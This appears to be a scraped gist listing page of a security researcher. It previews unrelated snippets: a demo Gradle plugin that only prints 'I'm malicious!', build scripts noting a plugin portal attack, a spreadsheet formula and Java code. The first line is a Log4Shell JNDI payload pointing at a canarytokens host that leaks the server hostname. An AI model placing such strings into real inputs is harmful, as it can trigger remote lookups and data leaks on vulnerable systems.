- ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a}
- @JLLeitschuh
- @[email protected]
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package org.jlleitschuh.testing.security; | |
import org.gradle.api.Plugin; | |
import org.gradle.api.Project; | |
public class SecurityPlugin implements Plugin<Project> { | |
@Override | |
public void apply(final Project target) { | |
target.getLogger().lifecycle("A security plugin. I'm malicious!"); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package org.jlleitschuh.testing.security; | |
import org.gradle.api.Plugin; | |
import org.gradle.api.Project; | |
public class SecurityPlugin implements Plugin<Project> { | |
@Override | |
public void apply(final Project target) { | |
target.getLogger().lifecycle("A security plugin"); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
buildscript { | |
repositories { | |
maven { | |
url "https://plugins.gradle.org/m2/" | |
} | |
} | |
dependencies { | |
classpath "gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.4" | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
buildscript { | |
repositories { | |
gradlePluginPortal() | |
} | |
dependencies { | |
/* | |
* In practice, this attack could have been leveraged against any plugin on | |
* the Gradle plugin portal. | |
* I created my own plugin for testing purposes. | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Vector { | |
private final int x, y, z; | |
public Vector(int x, int y, int z) { | |
this.x = x; | |
this.y = y; | |
this.z = z; | |
} | |
public Vector crossProduct(Vector other) { | |
// Do your math here |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
=IF(N3="",IF(ISNA(VLOOKUP(B3,'Distance Dictionary'!$A$3:$B$129,2, FALSE)),"",VLOOKUP(B3,'Distance Dictionary'!$A$3:$B$129,2, FALSE)),IF(OR(M3="Two Way", M3="two way"),"",N3)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package edu.wpi.grip.core.operations; | |
import com.google.common.collect.ImmutableList; | |
import com.google.common.eventbus.EventBus; | |
import com.google.inject.Inject; | |
import edu.wpi.grip.core.OperationMetaData; | |
import edu.wpi.grip.core.events.OperationAddedEvent; | |
import edu.wpi.grip.core.operations.opencv.CVOperation; | |
import edu.wpi.grip.core.operations.opencv.enumeration.FlipCode; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package edu.wpi.grip.core.operations.composite; | |
import com.google.common.eventbus.EventBus; | |
import edu.wpi.grip.core.Operation; | |
import edu.wpi.grip.core.sockets.InputSocket; | |
import edu.wpi.grip.core.sockets.OutputSocket; | |
import edu.wpi.grip.core.sockets.SocketHints; | |
import org.bytedeco.javacpp.opencv_core; | |
import org.bytedeco.javacpp.opencv_core.Mat; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class CooldownRestartPolicy implements ServiceRestartPolicy { | |
/** | |
* If restarting sooner than this, it's probably an unrecoverable error. | |
*/ | |
public static final int RESTART_INTERVAL = 5000; | |
private long last; | |
private long interval = RESTART_INTERVAL; | |
public CooldownRestartPolicy() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@Override | |
public synchronized void setValueWithKey(String key) throws IOException, IllegalArgumentException { | |
final List<String> keys = getKeys(); | |
if (keys.contains(key)) { | |
index = keys.indexOf(key); | |
loadImage(paths.get(index)); | |
} else { | |
throw new IllegalArgumentException(key + " was an illegal key"); | |
} | |
} |